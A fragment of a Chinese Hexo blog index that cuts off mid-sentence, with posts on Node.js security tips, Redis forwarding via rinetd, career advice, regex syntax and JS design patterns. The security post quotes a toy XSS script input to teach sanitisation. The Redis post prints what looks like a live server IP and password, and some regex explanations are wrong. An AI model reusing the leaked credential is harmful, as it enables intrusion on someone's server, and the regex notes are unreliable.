href="#6-避免-shell-command-注入" class="headerlink" title="6. 避免 shell command 注入"></a>6. 避免 shell command 注入</h2><pre><code class="-t">child_process.exec('ls', function (err, data) { console.log(data);});</code></pre><p>上面的 child_process.exec 调用的是 /bin/sh ,也就是执行了一个解释器。</p><blockquote><p>为了避免这个问题，我们可以使用：child_process.execFile。</p></blockquote><h2 id="7-临时文件"><a href="#7-临时文件" class="headerlink" title="7. 临时文件"></a>7. 临时文件</h2><p>创建文件时，处理上传的文件要注意，这些文件可能会吃掉你的磁盘所有空间。</p><blockquote><p>使用 Streams。</p></blockquote><h2 id="8-加密-Web-应用"><a href="#8-加密-Web-应用" class="headerlink" title="8. 加密 Web 应用"></a>8. 加密 Web 应用</h2><p>用 https 代替 http，请求的过程可以添加签名头。</p><h2 id="9-Reflected-Cross-Site-Scripting"><a href="#9-Reflected-Cross-Site-Scripting" class="headerlink" title="9. Reflected Cross Site Scripting"></a>9. Reflected Cross Site Scripting</h2><p>也就是跨站脚本攻击，就是但用户发送一段数据，如果在未做任何处理的情况下直接插入 DOM，这可能会出现安全问题，例如：</p><pre><code class="js">//用户输入的数据中带脚本，如果不做处理，会被执行。Im human <script>alert('I‘m hacker')<script></code></pre><blockquote><p>处理方式：1. 对插入的数据进行验证，除去 HTML。</p></blockquote><h2 id="10-看好你的-cookie"><a href="#10-看好你的-cookie" class="headerlink" title="10. 看好你的 cookie"></a>10. 看好你的 cookie</h2><p>默认情况下，cookie 可以通过 js 在同一个域中读取，这就有可能会被跨站点脚本攻击，而且可能被第三方库读取。为了处理这种情况，我们可以在 cookies 上使用 HTTPOnly，这个标签可以让 js 无法读取。</p><h2 id="11-内容安全策略（CSP）"><a href="#11-内容安全策略（CSP）" class="headerlink" title="11. 内容安全策略（CSP）"></a>11. 内容安全策略（CSP）</h2><p>附加的安全层，可以检测和缓解某类攻击，例如：XSS、数据注入。启用方法如下：</p><pre><code class="-t">Content-Security-Policy: default-src 'self' *.mydomain.com</code></pre><h2 id="12-Cross-Site-Request-Forgery"><a href="#12-Cross-Site-Request-Forgery" class="headerlink" title="12. Cross-Site Request Forgery"></a>12. Cross-Site Request Forgery</h2><p>跨站请求伪造是一种迫使终端用户在他目前已验证授权的Web应用程序中执行其它的actions。node 社区已实现，可以使用同步令牌模式处理。</p>]]></content>
|
||
|
||
<categories>
|
||
|
||
<category> nodeJS </category>
|
||
|
||
</categories>
|
||
|
||
|
||
<tags>
|
||
|
||
<tag> 性能优化 </tag>
|
||
|
||
</tags>
|
||
|
||
</entry>
|
||
|
||
<entry>
|
||
<title>node连接阿里云redis</title>
|
||
<link href="/node%E8%BF%9E%E6%8E%A5%E9%98%BF%E9%87%8C%E4%BA%91redis.html"/>
|
||
<url>/node%E8%BF%9E%E6%8E%A5%E9%98%BF%E9%87%8C%E4%BA%91redis.html</url>
|
||
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="node-连接云-redis"><a href="#node-连接云-redis" class="headerlink" title="node 连接云 redis"></a>node 连接云 redis</h1><h2 id="1-要求"><a href="#1-要求" class="headerlink" title="1. 要求"></a>1. 要求</h2><ol><li>若 Redis 实例属于专有网络（VPC），ECS 必须与 Redis 实例属于同一个 VPC。</li><li>若 Redis 实例属于经典网络，ECS 必须与 Redis 实例属于同一节点（地域）。</li><li>若 Redis 实例开启了 IP 白名单，必须将 ECS 的内网地址加入白名单列表内。</li></ol><h2 id="2-在云服务器-ECS-Linux-中安装-rinetd"><a href="#2-在云服务器-ECS-Linux-中安装-rinetd" class="headerlink" title="2. 在云服务器 ECS Linux 中安装 rinetd"></a>2. 在云服务器 ECS Linux 中安装 rinetd</h2><p>redis-cli -h 101.132.156.228 -a r-uf60a44b13666134:’123456Jzx’</p><pre><code class="js">wget http://www.boutell.com/rinetd/http/rinetd.tar.gz&&tar -xvf rinetd.tar.gz&&cd rinetdsed -i 's/65536/65535/g' rinetd.c (修改端口范围)mkdir /usr/man&&make&&make install</code></pre><blockquote><p>注意：rinetd 安装包下载地址不确保下载可用性，您可以自行搜索安装包进行下载使用。</p></blockquote><h2 id="3-打开配置文件-rinetd-conf"><a href="#3-打开配置文件-rinetd-conf" class="headerlink" title="3. 打开配置文件 rinetd.conf"></a>3. 打开配置文件 rinetd.conf</h2><p>vi /etc/rinetd.conf</p><h2 id="4-在配置文件中输入如下内容"><a href="#4-在配置文件中输入如下内容" class="headerlink" title="4. 在配置文件中输入如下内容"></a>4. 在配置文件中输入如下内容</h2><pre><code class="js">0.0.0.0 6379 Redis 的链接地址 6379logfile /var/log/rinetd.log</code></pre><blockquote><p>说明：您可以使用 cat /etc/rinetd.conf命令来检验配置文件是否修改正确。</p></blockquote><h2 id="5-执行如下命令启动-rinetd"><a href="#5-执行如下命令启动-rinetd" class="headerlink" title="5. 执行如下命令启动 rinetd"></a>5. 执行如下命令启动 rinetd</h2><pre><code class="js">rinetd</code></pre><blockquote><p>注意<br>○ 您可以通过 echo rinetd >>/etc/rc.local 将 rinetd 设置为自启动。<br>○ 若遇到绑定报错，可以执行 pkill rinetd 结束进程，再执行 rinetd启动进程 rinetd。<br>○ rinetd 正常启动后， 执行netstat -anp | grep 6379 确认服务是否正常运行。</p></blockquote><h2 id="6-在本地进行验证测试"><a href="#6-在本地进行验证测试" class="headerlink" title="6. 在本地进行验证测试"></a>6. 在本地进行验证测试</h2><pre><code class="m">您可以在本地通过 redis-cli 连接 ECS Linux 服务器后进行登录验证，比如安装了 rinetd 的服务器的 IP 是 1.1.1.1，即redis-cli -h 1.1.1.1 -a Redis的实例ID:Redis密码。或者通过 telent 连接 ECS Linux 服务器后进行操作验证。假设 ECS Linux 服务器的 IP 是 1.1.1.1，即 telnet 1.1.1.1 6379。连接上 ECS Linux 服务器后，输入连接 Redis 的密码：auth Redis的连接密码。进行数据写入及查询验证。</code></pre><h2 id="7-客户端连接-Redis"><a href="#7-客户端连接-Redis" class="headerlink" title="7. 客户端连接 Redis"></a>7. 客户端连接 Redis</h2><pre><code class="js">const redis = require('redis'), RDS_PORT = 6379, RDS_PWD = '密码', RDS_HOST = '服务器ip', RDS_OPTS = {}, client = redis.createClient(RDS_PORT, RDS_HOST, RDS_OPTS)client.auth(RDS_PWD, function () { console.log('通过认证') client.set('author', 'jzx', redis.print) client.get('author', redis.print)})</code></pre><h2 id="8-小结"><a href="#8-小结" class="headerlink" title="8. 小结"></a>8. 小结</h2><ul><li>注意 ECS 若本地 redis-server 打开则先关闭，否则转发的并不是云 redis，而是本地 ECS 服务, 命令如下面给出所示。</li></ul><pre><code class="t">/etc/init.d/redis-server stop/etc/init.d/redis-server start/etc/init.d/redis-server restart</code></pre><ul><li>将 ECS 安全组设置里 redis 端口开放，如：6379。</li></ul>]]></content>
|
||
|
||
<categories>
|
||
|
||
<category> 数据库 </category>
|
||
|
||
</categories>
|
||
|
||
|
||
<tags>
|
||
|
||
<tag> redis </tag>
|
||
|
||
<tag> 阿里云 </tag>
|
||
|
||
</tags>
|
||
|
||
</entry>
|
||
|
||
<entry>
|
||
<title>学生思维</title>
|
||
<link href="/%E5%AD%A6%E7%94%9F%E6%80%9D%E7%BB%B4.html"/>
|
||
<url>/%E5%AD%A6%E7%94%9F%E6%80%9D%E7%BB%B4.html</url>
|
||
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="学生思维"><a href="#学生思维" class="headerlink" title="学生思维"></a>学生思维</h1><h2 id="1-认为准备好了再做"><a href="#1-认为准备好了再做" class="headerlink" title="1. 认为准备好了再做"></a>1. 认为准备好了再做</h2><p>持续认为自己还没准备好，遇到新的挑战（机会），本能的觉得自己没学过，回避，很多时候，是你有了责任，有了目标，才会让自己更强大，而不是自己强大了再做某事。</p><blockquote><p>永远让事情推自己走，而不是让自己跟着事情走。</p></blockquote><h2 id="2-被动接受，而不是主动获取"><a href="#2-被动接受，而不是主动获取" class="headerlink" title="2. 被动接受，而不是主动获取"></a>2. 被动接受，而不是主动获取</h2><p>习惯老师留作业。但是工作了，很多时候要自己发挥，等着布置作业那是泯然众人的做法。在职场上有突破的，往往都更主动，他们不会羞涩于请教，不会因为担心麻烦人而影响工作，他们只是在聚焦如何让工作做得更好，所以积极主动。</p><blockquote><p>不要小看主动的力量。</p></blockquote><h2 id="3-不愿意面对不可预期的逆境"><a href="#3-不愿意面对不可预期的逆境" class="headerlink" title="3. 不愿意面对不可预期的逆境"></a>3. 不愿意面对不可预期的逆境</h2><p>很多人习惯了学生时代的感觉，习惯了有确定性的事物，却不知道，工作中有很多不确定性。你总说在面对各种未知的问题，有问题就要解决问题。有些人面对这样的逆境，不够坚韧，总选择逃避，很难承担重任，职场发展就会受限。</p><h2 id="4-小孩子脾气"><a href="#4-小孩子脾气" class="headerlink" title="4. 小孩子脾气"></a>4. 小孩子脾气</h2><p>不要把无知当个性，不要把口无遮拦当直爽。其他人没有那么多时间了解你丰富的内心，大家更想配合好把事情做完。有个性和脾气不是不可以，但那是建立在自身的本事和成绩上的。</p><blockquote><p>恃才傲物还可以接受，没能力还以自我为中心只会被人嫌弃。</p></blockquote><h2 id="5-过于放大自己的价值"><a href="#5-过于放大自己的价值" class="headerlink" title="5. 过于放大自己的价值"></a>5. 过于放大自己的价值</h2><p>自信心不强经常遇到，但还有另一种极端的情况，就是过于放大自己的价值。在一个新组织里，既有自己的努力，又有组织提供的机会。我们常常说要从小事做起，其实就是在积攒人品，让别人逐步信任你。其实我们往往没有想象中那么重要，只是大家积累起来的信任链条。</p><blockquote><p>不吭不卑才是合适的作风。</p></blockquote><h2 id="6-懒于改变"><a href="#6-懒于改变" class="headerlink" title="6. 懒于改变"></a>6. 懒于改变</h2><p>很多人习惯了按部就班，习惯了在一条轨道上，有什么想法也只是说说而已，并没有勇气去落地执行，只是在等待,这样的人则完全没有任何魄力。</p><blockquote><p>只是等待，没有任何结果。</p></blockquote><h2 id="7-给自己画一条线"><a href="#7-给自己画一条线" class="headerlink" title="7. 给自己画一条线"></a>7. 给自己画一条线</h2><p>我是学…的，我是做…的，所以我不能…。往往希望自己能从他人那里得到一些肯定。其实如果信心坚定，大部分工作都是有可能性的。总能找到很多成功的和失败的例子。最后发现其实还是在于自己。</p><blockquote><p>没有那么多鸿沟拦着你，是你自己拦着自己。</p></blockquote><h2 id="8-没有意识到要和优秀的人在一起"><a href="#8-没有意识到要和优秀的人在一起" class="headerlink" title="8. 没有意识到要和优秀的人在一起"></a>8. 没有意识到要和优秀的人在一起</h2><p>读书的时候，好学生和一般的学生，多少会有点距离。在社会里，工作上要去拉近这个距离。时常看看优秀的人在做什么，看到好的点，学习到自己这里，这是好事。</p><blockquote><p>见贤思齐焉。</p></blockquote><h2 id="9-不知道衡量-10-年总收入"><a href="#9-不知道衡量-10-年总收入" class="headerlink" title="9. 不知道衡量 10 年总收入"></a>9. 不知道衡量 10 年总收入</h2><p>刚入职场，很多学生会比 offer、 收入…等等。不是说不应该在意，而是优先级高的应该是自己的成长值能增加多少，能不能通过自己的努力，把自己作为一个产品给做出来。衡量自己未来的 10 年收入，不仅仅是经济，还有能力、资历的，不争一城一地的得失，将重点放到经营自己这个产品上来。</p><blockquote><p>投资自己，让自己不断增值，才是正事。</p></blockquote><h2 id="10-小红花意识"><a href="#10-小红花意识" class="headerlink" title="10. 小红花意识"></a>10. 小红花意识</h2><p>人都希望被表扬。有的时候就要忍受阶段性的在角落，可能很辛苦，作出了成绩没人认同很委屈，稍微作出了点事就想收到认同。其实，这往往需要时间、需要积累和沉淀。很多事你是在为自己做，做多了，大概率会有好结果，即使不是立刻就有。</p><blockquote><p>自己的行为过于依赖周围人的反应，反而会打乱自己的节奏。</p></blockquote><h2 id="11-连他都可以"><a href="#11-连他都可以" class="headerlink" title="11. 连他都可以"></a>11. 连他都可以</h2><p>在学校里，你成绩可能比人家好，在社会上，可能人家混的比你好。社会和学校有他们自己的规则，不要在比较重蹉跎。</p><blockquote><p>按照自己的节奏，一步一步让自己变得更好。</p></blockquote><h2 id="12-不会保护自己"><a href="#12-不会保护自己" class="headerlink" title="12. 不会保护自己"></a>12. 不会保护自己</h2><p>这个世界存在坏人，因为利益、嫉妒、扭曲的心理…学校可能环境相对简单，但是工作中，情况就要复杂很多。比如你是医生，就要做好医闹的准备。在公司工作，该有的流程，留下邮件的，都得有。</p><h2 id="13-伸手党意识"><a href="#13-伸手党意识" class="headerlink" title="13. 伸手党意识"></a>13. 伸手党意识</h2><p>在请他人帮忙处理前，自己先尽力找到处理问题的办法。实在不行再开口，又或者是时间周期短，加急的情况。</p><h2 id="14-理性投资消费"><a href="#14-理性投资消费" class="headerlink" title="14. 理性投资消费"></a>14. 理性投资消费</h2><p>常常有人说我穷、没钱。大多数人是家境可以，但是该消费的地方不消费，例如：学习和自我提升。不该消费的地方大手笔，例如：电脑要最新，手机要最新。更多体现的是一种攀比心理。如何领先他人抓住机遇，也体现在如何正确和理性的投资。</p><h2 id="15-做为新人不够谦虚"><a href="#15-做为新人不够谦虚" class="headerlink" title="15. 做为新人不够谦虚"></a>15. 做为新人不够谦虚</h2><p>说话的方式和语气要基于自己的资历。出现与自己资历不对称的气场。容易起反作用。但这并不是说要唯唯诺诺，保持谦虚，是一种态度。</p><h2 id="16-认识人多就是资源"><a href="#16-认识人多就是资源" class="headerlink" title="16. 认识人多就是资源"></a>16. 认识人多就是资源</h2><p>所谓人脉，其实不是认识的人越多越好，而是要和事情，和自己能力匹配，大家基于共同的事情，兴趣认识，主要是一起讨论和学习，当然还有认识彼此。</p><blockquote><p>要让这个状态成为自然的结果，而不是刻意为之。</p></blockquote><h2 id="17-缺乏职场必要的沟通"><a href="#17-缺乏职场必要的沟通" class="headerlink" title="17. 缺乏职场必要的沟通"></a>17. 缺乏职场必要的沟通</h2><p>通过书面的、语言的沟通，把自己的观点表达的有条理并且富有逻辑，讲明白了事情，但是又不会引起反感，如果身边有这样的人，可以向他们学习学习。</p><h2 id="18-锚定在周围人身上"><a href="#18-锚定在周围人身上" class="headerlink" title="18. 锚定在周围人身上"></a>18. 锚定在周围人身上</h2><p>在一个行业里，应该去和整个行业最优秀的人做比较，经常跳出来，看看最好的人在做什么，不要把自己局限住，把自己的目标设高点，就算达不到，也要往上爬。</p><h2 id="19-缺乏自己判断，容易被他人影响"><a href="#19-缺乏自己判断，容易被他人影响" class="headerlink" title="19. 缺乏自己判断，容易被他人影响"></a>19. 缺乏自己判断，容易被他人影响</h2><p>跳出他人的观点，敢于对各种观点质疑。取其精华，抛弃糟蹋。</p><h2 id="20-没有能力边界的概念"><a href="#20-没有能力边界的概念" class="headerlink" title="20. 没有能力边界的概念"></a>20. 没有能力边界的概念</h2><p>有时候总是说，凡是努力就会成功，如果没有成功，就是努力的还不够。但是随着成长，就会发现，有些事情就是自己不擅长做的。就像高中成绩，总有好的和不好的课程。有时候我们还是把自己能力边界之内的事情做好结果会更好。</p><blockquote><p>聚焦自己能力之内的，不要意想天开，认为自己无所不能。</p></blockquote>]]></content>
|
||
|
||
<categories>
|
||
|
||
<category> 生活 </category>
|
||
|
||
</categories>
|
||
|
||
|
||
<tags>
|
||
|
||
<tag> 学生思维 </tag>
|
||
|
||
</tags>
|
||
|
||
</entry>
|
||
|
||
<entry>
|
||
<title>正则表达式</title>
|
||
<link href="/%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F.html"/>
|
||
<url>/%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F.html</url>
|
||
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="正则的介绍"><a href="#正则的介绍" class="headerlink" title="正则的介绍"></a>正则的介绍</h1><p> 正则表达式(Regular Expression)是一种文本模式，包括普通字符（例如，a 到 z 之间的字母）和特殊字符（称为”元字符”）。<br> 正则表达式使用单个字符串来描述、匹配一系列匹配某个句法规则的字符串。<br> 正则表达式是烦琐的，但它是强大的，学会之后的应用会让你除了提高效率外，会给你带来绝对的成就感。</p><h2 id="修饰符"><a href="#修饰符" class="headerlink" title="修饰符"></a>修饰符</h2><h3 id="i"><a href="#i" class="headerlink" title="i"></a>i</h3><p> 执行对大小写不敏感的匹配。</p><h3 id="g"><a href="#g" class="headerlink" title="g"></a>g</h3><p> 执行全局匹配（所有，而不是找到一个后停止匹配）。</p><h3 id="m"><a href="#m" class="headerlink" title="m"></a>m</h3><p> 执行多行匹配。</p><h2 id="方括号"><a href="#方括号" class="headerlink" title="方括号"></a>方括号</h2><h3 id="abc"><a href="#abc" class="headerlink" title="[abc]"></a>[abc]</h3><p> 查找方括号之间的任何字符。</p><h3 id="abc-1"><a href="#abc-1" class="headerlink" title="[^abc]"></a>[^abc]</h3><p> 查找任何不在方括号内的字符。</p><h3 id="0-9"><a href="#0-9" class="headerlink" title="[0-9]"></a>[0-9]</h3><p> 查找任何从 0 至 9 的数字。</p><h3 id="a-z"><a href="#a-z" class="headerlink" title="[a-z]"></a>[a-z]</h3><p> 查找任何从小写 a 到 z 的字符。</p><h3 id="A-Z"><a href="#A-Z" class="headerlink" title="[A-Z]"></a>[A-Z]</h3><p> 查找任何从大写 A 到 Z 的字符。</p><h3 id="A-z"><a href="#A-z" class="headerlink" title="[A-z]"></a>[A-z]</h3><p> 查找任何从大写 A 到小写 z 的字符。</p><h3 id="adgk"><a href="#adgk" class="headerlink" title="[adgk]"></a>[adgk]</h3><p> 查找括号中给定的字符集。</p><h3 id="adgk-1"><a href="#adgk-1" class="headerlink" title="[^adgk]"></a>[^adgk]</h3><p> 查找除括号内之外的所有字符。</p><h3 id="red-blue-green"><a href="#red-blue-green" class="headerlink" title="[red|blue|green]"></a>[red|blue|green]</h3><p> 查找任何指定的选项。</p><h2 id="元字符"><a href="#元字符" class="headerlink" title="元字符"></a>元字符</h2><h3 id="‘-’"><a href="#‘-’" class="headerlink" title="‘.’"></a>‘.’</h3><p> 查找单个字符，除了换行符和结束符。</p><h3 id="w"><a href="#w" class="headerlink" title="\w"></a>\w</h3><p> 查找单词字符。</p><h3 id="W"><a href="#W" class="headerlink" title="\W"></a>\W</h3><p> 查找非单词字符。</p><h3 id="d"><a href="#d" class="headerlink" title="\d"></a>\d</h3><p> 查找数字。</p><h3 id="D"><a href="#D" class="headerlink" title="\D"></a>\D</h3><p> 查找非数字。</p><h3 id="s"><a href="#s" class="headerlink" title="\s"></a>\s</h3><p> 查找空白字符。</p><h3 id="S"><a href="#S" class="headerlink" title="\S"></a>\S</h3><p> 查找非空白字符。</p><h3 id="b"><a href="#b" class="headerlink" title="\b"></a>\b</h3><p> 匹配单词边界。</p><h3 id="B"><a href="#B" class="headerlink" title="\B"></a>\B</h3><p> 匹配非单词边界。</p><h3 id="0"><a href="#0" class="headerlink" title="\0"></a>\0</h3><p> 查找null字符。</p><h3 id="n"><a href="#n" class="headerlink" title="\n"></a>\n</h3><p> 查找换行符。</p><h3 id="f"><a href="#f" class="headerlink" title="\f"></a>\f</h3><p> 查找换页符。</p><h3 id="r"><a href="#r" class="headerlink" title="\r"></a>\r</h3><p> 查找回车符。</p><h3 id="t"><a href="#t" class="headerlink" title="\t"></a>\t</h3><p> 查找制表符。</p><h3 id="v"><a href="#v" class="headerlink" title="\v"></a>\v</h3><p> 查找垂直制表符。</p><h3 id="xxx"><a href="#xxx" class="headerlink" title="\xxx"></a>\xxx</h3><p> 查找以八进制 xxx 规定的字符。</p><h3 id="xdd"><a href="#xdd" class="headerlink" title="\xdd"></a>\xdd</h3><p> 查找以十六进制 dd 规定的字符。</p><h3 id="uxxxx"><a href="#uxxxx" class="headerlink" title="\uxxxx"></a>\uxxxx</h3><p> 查找以十六进制 xxxx 规定的 Uicode 字符。</p><h2 id="量词"><a href="#量词" class="headerlink" title="量词"></a>量词</h2><h3 id="n-1"><a href="#n-1" class="headerlink" title="n+"></a>n+</h3><p> 匹配任何包含至少一个 n 的字符串。</p><blockquote><p>eg: /a+/ 匹配 “candy” 中的 “a”， “caaaaaandy” 中的 “a”。</p></blockquote><h3 id="n-2"><a href="#n-2" class="headerlink" title="n*"></a>n*</h3><p> 匹配任何包含零个或多个 n 的字符串。</p><blockquote><p>eg: /bo*/ 匹配 “a ghost booooed ” 中的 “boooo”，“hell by” 中的 ”b”。</p></blockquote><h3 id="n？"><a href="#n？" class="headerlink" title="n？"></a>n？</h3><p> 匹配任何包含零个或一个 n 的字符串。</p><blockquote><p>eg: /e?le?/ 匹配 “angel” 中的 “el”，“angle” 中的 “le”。</p></blockquote><h3 id="n-X"><a href="#n-X" class="headerlink" title="n(X)"></a>n(X)</h3><p> 匹配包含 X个 n 的序列的字符串。</p><blockquote><p>eg: /a(2)/ 不匹配 “candy” 中的 “a”，但是匹配 “caandy”，“caaandy”。</p></blockquote><h3 id="n-X-1"><a href="#n-X-1" class="headerlink" title="n{X,}"></a>n{X,}</h3><p> X 是一个正整数，前面的模式 n 连续出现至少 X 次匹配。</p><blockquote><p>/a{2,}/ 不匹配 “candy”，匹配 “caandy” 和 “caaaandy” 中的所有 “a“。</p></blockquote><h3 id="n-X-Y"><a href="#n-X-Y" class="headerlink" title="n{X, Y}"></a>n{X, Y}</h3><p> n 出现至少 X 次，至多 Y 次。</p><blockquote><p>/a{1,3} 匹配 ”candy“ 的 ”a“，”caandy“ 中的 ”aa“，“caaaandy” 前三个 “a”。</p></blockquote><h3 id="n-3"><a href="#n-3" class="headerlink" title="n$"></a>n$</h3><p> 匹配任何以 n 结尾的字符串。</p><h3 id="n-4"><a href="#n-4" class="headerlink" title="^n"></a>^n</h3><p> 匹配任何以 n 开头的字符串。</p><h3 id="n-5"><a href="#n-5" class="headerlink" title="?=n"></a>?=n</h3><p> 匹配任何其后紧接指定 n 的字符串。</p><h3 id="n-6"><a href="#n-6" class="headerlink" title="?!n"></a>?!n</h3><p> 匹配任何其后没有指定 n 的字符串。</p><h2 id="RegExp-对象方法"><a href="#RegExp-对象方法" class="headerlink" title="RegExp 对象方法"></a>RegExp 对象方法</h2><h3 id="compile"><a href="#compile" class="headerlink" title="compile"></a>compile</h3><p> 编译正则表达式。</p><h3 id="exec"><a href="#exec" class="headerlink" title="exec"></a>exec</h3><p> 检索字符串中指定的值。返回找到的值，并确定其位置。</p><h3 id="test"><a href="#test" class="headerlink" title="test"></a>test</h3><p> 检索字符串中指定的值，返回 true or false。</p><h2 id="String-对象的正则方法"><a href="#String-对象的正则方法" class="headerlink" title="String 对象的正则方法"></a>String 对象的正则方法</h2><h3 id="search"><a href="#search" class="headerlink" title="search"></a>search</h3><p> 检索与正则表达式相匹配的值。</p><blockquote><p>eg: str.search(“blue”) 返回的是 blue 出现的字符下标(大小写敏感)。</p></blockquote><h3 id="match"><a href="#match" class="headerlink" title="match"></a>match</h3><p> 找到一个或者多个正则表达式的匹配。</p><blockquote><p>eg: str.match(/ain/g) 返回所有出现的 ain (大小写敏感)。</p></blockquote><h3 id="replace"><a href="#replace" class="headerlink" title="replace"></a>replace</h3><p> 替换与正则表达式匹配的字串。</p><blockquote><p>eg: str.replace(/blue/g,”red”) 替换所有 blue 为 red。</p></blockquote><h3 id="split"><a href="#split" class="headerlink" title="split"></a>split</h3><p> 把字符串分割为字符串数组。</p><blockquote><p>string.split(separator,limit) 在 separator 指定位置分割, 返回内容不超过 limit 长度。</p></blockquote>]]></content>
|
||
|
||
<categories>
|
||
|
||
<category> JS </category>
|
||
|
||
</categories>
|
||
|
||
|
||
<tags>
|
||
|
||
<tag> 正则表达式 </tag>
|
||
|
||
</tags>
|
||
|
||
</entry>
|
||
|
||
<entry>
|
||
<title>如何规划自己的工作和生活</title>
|
||
<link href="/%E5%A6%82%E4%BD%95%E8%A7%84%E5%88%92%E8%87%AA%E5%B7%B1%E7%9A%84%E5%B7%A5%E4%BD%9C%E5%92%8C%E7%94%9F%E6%B4%BB.html"/>
|
||
<url>/%E5%A6%82%E4%BD%95%E8%A7%84%E5%88%92%E8%87%AA%E5%B7%B1%E7%9A%84%E5%B7%A5%E4%BD%9C%E5%92%8C%E7%94%9F%E6%B4%BB.html</url>
|
||
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><p>人人都在说工作-生活平衡，但好像都不敢真正拥有它，移动互联网，正在让工作和生活的边界变得越来越模糊…</p><p>人生短暂，如何才能真正的规划好自己的一生？在有限的时间迸发出无限的生命力？其实我目前也不是很了解，以下是我结合阅读的知识总结的一些规律。</p><h2 id="1·-花时间做规划"><a href="#1·-花时间做规划" class="headerlink" title="1· 花时间做规划"></a>1· 花时间做规划</h2><p>给自己的时间做规划，不意味着你可以更放松，反而需要更严格的时间规划，尝试对时间概念有一个精准的定位。</p><ul><li>明确目标：包括工作目标，生活目标。</li><li>给事情做优先级：按重要程度划分。</li><li>细化目标所需时间：精确目标实现所需时间，大到年月、小到分时。<blockquote><p>s越忙越乱，越乱越忙</p></blockquote></li></ul><h2 id="2·-形成日常惯例，减少意志力的损耗"><a href="#2·-形成日常惯例，减少意志力的损耗" class="headerlink" title="2· 形成日常惯例，减少意志力的损耗"></a>2· 形成日常惯例，减少意志力的损耗</h2><p>给自己每周、每月、每年定下固定活动时间分配，让它自然而然的形成惯例。</p><blockquote><p>越来越多的人认为，只有不断工作才能证明自己有能力、有责任心</p></blockquote><h2 id="3·-有效地休闲"><a href="#3·-有效地休闲" class="headerlink" title="3· 有效地休闲"></a>3· 有效地休闲</h2><p>休闲时间不在长短，而在于质量。高质量的休闲让你体验到的是放松，而不是无聊和空虚。</p><p>休闲的必要性：放松可以让人们正在接下来的工作中效率更高。并且放松可以用更宽广的思路与抽象的方式去思考，容易产生有创造力的洞察力。</p><blockquote><p>长时间的工作会降低人们的创造力，提高心脏病、抑郁症的发生率。</p></blockquote>]]></content>
|
||
|
||
<categories>
|
||
|
||
<category> 生活 </category>
|
||
|
||
</categories>
|
||
|
||
|
||
<tags>
|
||
|
||
<tag> 哲理 </tag>
|
||
|
||
</tags>
|
||
|
||
</entry>
|
||
|
||
<entry>
|
||
<title>js常见的九种设计模式</title>
|
||
<link href="/js%E5%B8%B8%E8%A7%81%E7%9A%84%E4%B9%9D%E7%A7%8D%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F.html"/>
|
||
<url>/js%E5%B8%B8%E8%A7%81%E7%9A%84%E4%B9%9D%E7%A7%8D%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F.html</url>
|
||
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h2 id="介绍"><a href="#介绍" class="headerlink" title="介绍"></a>介绍</h2><p>设计模式(DP)是一套被反复使用，多数人知晓的、经过分类编目的、代码设计经验的总结。</p><h2 id="分类"><a href="#分类" class="headerlink" title="分类"></a>分类</h2><ul><li>单体模式</li><li>单例模式</li><li>工厂模式</li><li>观察者模式（发布订阅者模式）</li><li>策略模式</li><li>模块模式</li><li>模板模式</li><li>代理模式</li><li>外观模式</li></ul><blockquote><p>设计模式目前有23种，目前只列举出了在实战中比较常用的几种。</p></blockquote><h2 id="九种"><a href="#九种" class="headerlink" title="九种"></a>九种</h2><h3 id="单体模式"><a href="#单体模式" class="headerlink" title="单体模式"></a>单体模式</h3><h4 id="概念"><a href="#概念" class="headerlink" title="概念"></a>概念</h4><p>单体是一个用来划分命名空间并将一批相关的属性和方法组织在一起的对象，如果它可以被实例化，那么它只能被实例化一次。</p><h4 id="特点"><a href="#特点" class="headerlink" title="特点"></a>特点</h4><ol><li>可以用来划分命名空间，从而清除全局变量所带来的危险。</li><li>利用分支技术来封装浏览器之间的差异。</li><li>可以把代码组织的更为一体。</li></ol><h4 id="代码实现"><a href="#代码实现" class="headerlink" title="代码实现"></a>代码实现</h4><pre><code class="js">var Singleton = { attribute: true, method1: function () {}, method2: function () {}}</code></pre><h4 id="应用场景"><a href="#应用场景" class="headerlink" title="应用场景"></a>应用场景</h4><p>单体模式我们平时应用的比较多，相当于我们把代码封装在一起，只暴露一个入口，防止对全局的污染。</p><h3 id="单例模式"><a href="#单例模式" class="headerlink" title="单例模式"></a>单例模式</h3><h4 id="概念-1"><a href="#概念-1" class="headerlink" title="概念"></a>概念</h4><p>单例模式定义了一个对象的创建过程，此对象只有一个单独的实例，并提供一个访问它的全局访问点。也可以说单例就是保证一个类只有一个实例，实现的方法一般是先判断实例存在与否，如果存在直接返回，如果不存在就创建了再返回，这就确保了一个类只有一个实例对象。</p><h4 id="代码实现-1"><a href="#代码实现-1" class="headerlink" title="代码实现"></a>代码实现</h4><pre><code class="js">var single = (function () { var unique function getInstance () { // 如果该实例存在，则直接返回，否则就对其实例化 if (unique === undefined) { unique = new Construct() } return unique } function Construct () { //生成单例的构造函数的代码 } return { getInstance }})()</code></pre><p>上面的代码中，unique 便是返回对象的引用，而 getinstance 便是静态方法获得实例。 Construct 便是创建实例的构造函数。<br>可以通过 single.getInstance() 来获取到单例，并且每次调用均获取到同一个单例。这是 单例模式 所实现的效果。</p><h4 id="应用场景-1"><a href="#应用场景-1" class="headerlink" title="应用场景"></a>应用场景</h4><p>单例模式是一种常用的模式，有一些对象我们往往只需要一个，比如全局缓存、浏览器的 window 